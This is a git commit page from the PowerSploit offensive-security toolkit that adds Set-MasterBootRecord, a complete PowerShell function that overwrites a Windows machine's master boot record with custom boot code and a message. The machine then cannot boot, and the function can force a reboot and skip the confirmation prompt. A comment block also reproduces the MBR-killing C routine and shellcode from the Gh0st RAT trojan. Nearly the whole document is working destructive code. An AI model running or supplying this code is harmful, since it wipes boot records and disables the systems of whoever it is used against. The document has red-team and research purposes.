aboutsummaryrefslogtreecommitdiff
path: root/Mayhem
diff options
context:
space:
mode:
authormattifestation <mattgraeber@gmail.com>2014-08-29 21:44:14 -0400
committermattifestation <mattgraeber@gmail.com>2014-08-29 21:44:14 -0400
commit258c760c61c9a5b11852580c3e007c7fcb02df3d (patch)
treeb68291ade2a3572c3935e5fabc2e2486fba47189 /Mayhem
parent2e00756b599f12c95461aca6d2fd6513b914c806 (diff)
downloadPowerSploit-258c760c61c9a5b11852580c3e007c7fcb02df3d.tar.gz
PowerSploit-258c760c61c9a5b11852580c3e007c7fcb02df3d.zip
Adding MBR infector Set-MasterBootRecord
Diffstat (limited to 'Mayhem')
-rw-r--r--Mayhem/Mayhem.psm1269
1 files changed, 268 insertions, 1 deletions
diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1
index a8cd424..0b4f843 100644
--- a/Mayhem/Mayhem.psm1
+++ b/Mayhem/Mayhem.psm1
@@ -1,4 +1,271 @@
-function Set-CriticalProcess
+function Set-MasterBootRecord
+{
+<#
+.SYNOPSIS
+
+ Proof of concept code that overwrites the master boot record with the
+ message of your choice.
+
+ PowerSploit Function: Set-MasterBootRecord
+ Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Set-MasterBootRecord is proof of concept code designed to show that it is
+ possible with PowerShell to overwrite the MBR. This technique was taken
+ from a public malware sample. This script is inteded solely as proof of
+ concept code.
+
+.PARAMETER BootMessage
+
+ Specifies the message that will be displayed upon making your computer a brick.
+
+.PARAMETER RebootImmediately
+
+ Reboot the machine immediately upon overwriting the MBR.
+
+.PARAMETER Force
+
+ Suppress the warning prompt.
+
+.EXAMPLE
+
+ Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
+
+.NOTES
+
+ Obviously, this will only work if you have a master boot record to
+ overwrite. This won't work if you have a GPT (GUID partition table)
+#>
+
+<#
+This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
+
+// CGh0stApp message handlers
+
+unsigned char scode[] =
+"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
+"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
+"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
+
+int CGh0stApp::KillMBR()
+{
+ HANDLE hDevice;
+ DWORD dwBytesWritten, dwBytesReturned;
+ BYTE pMBR[512] = {0};
+
+ // 重新构造MBR
+ memcpy(pMBR, scode, sizeof(scode) - 1);
+ pMBR[510] = 0x55;
+ pMBR[511] = 0xAA;
+
+ hDevice = CreateFile
+ (
+ "\\\\.\\PHYSICALDRIVE0",
+ GENERIC_READ | GENERIC_WRITE,
+ FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL,
+ OPEN_EXISTING,
+ 0,
+ NULL
+ );
+ if (hDevice == INVALID_HANDLE_VALUE)
+ return -1;
+ DeviceIoControl
+ (
+ hDevice,
+ FSCTL_LOCK_VOLUME,
+ NULL,
+ 0,
+ NULL,
+ 0,
+ &dwBytesReturned,
+ NULL
+ );
+ // 写入病毒内容
+ WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
+ DeviceIoControl
+ (
+ hDevice,
+ FSCTL_UNLOCK_VOLUME,
+ NULL,
+ 0,
+ NULL,
+ 0,
+ &dwBytesReturned,
+ NULL
+ );
+ CloseHandle(hDevice);
+
+ ExitProcess(-1);
+ return 0;
+}
+#>
+
+ [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
+ [ValidateLength(1, 479)]
+ [String]
+ $BootMessage = 'Stop-Crying; Get-NewHardDrive',
+
+ [Switch]
+ $RebootImmediately,
+
+ [Switch]
+ $Force
+ )
+
+ if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
+ {
+ throw 'This script must be executed from an elevated command prompt.'
+ }
+
+ if (!$Force)
+ {
+ if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
+ {
+ return
+ }
+ }
+
+ #region define P/Invoke types dynamically
+ $DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
+ $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
+
+ $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
+ $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
+ $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
+ $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
+ @('kernel32.dll'),
+ [Reflection.FieldInfo[]]@($SetLastError),
+ @($True))
+
+ # Define [Win32.Kernel32]::DeviceIoControl
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ # Define [Win32.Kernel32]::CreateFile
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [IntPtr],
+ [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Ansi)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ # Define [Win32.Kernel32]::WriteFile
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Ansi)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ # Define [Win32.Kernel32]::CloseHandle
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
+ 'kernel32.dll',
+ ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
+ [Reflection.CallingConventions]::Standard,
+ [Bool],
+ [Type[]]@([IntPtr]),
+ [Runtime.InteropServices.CallingConvention]::Winapi,
+ [Runtime.InteropServices.CharSet]::Auto)
+ $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
+
+ $Kernel32 = $TypeBuilder.CreateType()
+ #endregion
+
+ $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
+ # Convert the boot message to a byte array
+ $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
+
+ [Byte[]] $MBRInfectionCode = @(
+ 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
+ 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
+ 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
+ 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
+ 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
+ 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
+ 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
+ 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
+ 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
+ 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
+ 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
+ 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
+ ) + $MessageBytes
+
+ $MBRSize = [UInt32] 512
+
+ if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
+ {
+ throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
+ }
+
+ # Allocate 512 bytes for the MBR
+ $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
+
+ # Zero-initialize the allocated unmanaged memory
+ 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
+
+ [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
+
+ # Write boot record signature to the end of the MBR
+ [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
+ [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
+
+ # Get the device ID of the boot disk
+ $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
+
+ $GENERIC_READWRITE = 0x80000000 -bor 0x40000000
+ $FILE_SHARE_READWRITE = 2 -bor 1
+ $OPEN_EXISTING = 3
+
+ # Obtain a read handle to the raw disk
+ $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
+
+ if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
+ {
+ throw "Unable to obtain read/write handle to $DeviceID"
+ }
+
+ $BytesReturned = [UInt32] 0
+ $BytesWritten = [UInt32] 0
+ $FSCTL_LOCK_VOLUME = 0x00090018
+ $FSCTL_UNLOCK_VOLUME = 0x0009001C
+
+ $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
+ $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
+ $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
+ $null = $Kernel32::CloseHandle($DriveHandle)
+
+ Start-Sleep -Seconds 2
+
+ [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
+
+ Write-Verbose 'Master boot record overwritten successfully.'
+
+ if ($RebootImmediately)
+ {
+ Restart-Computer -Force
+ }
+}
+
+function Set-CriticalProcess
{
<#
.SYNOPSIS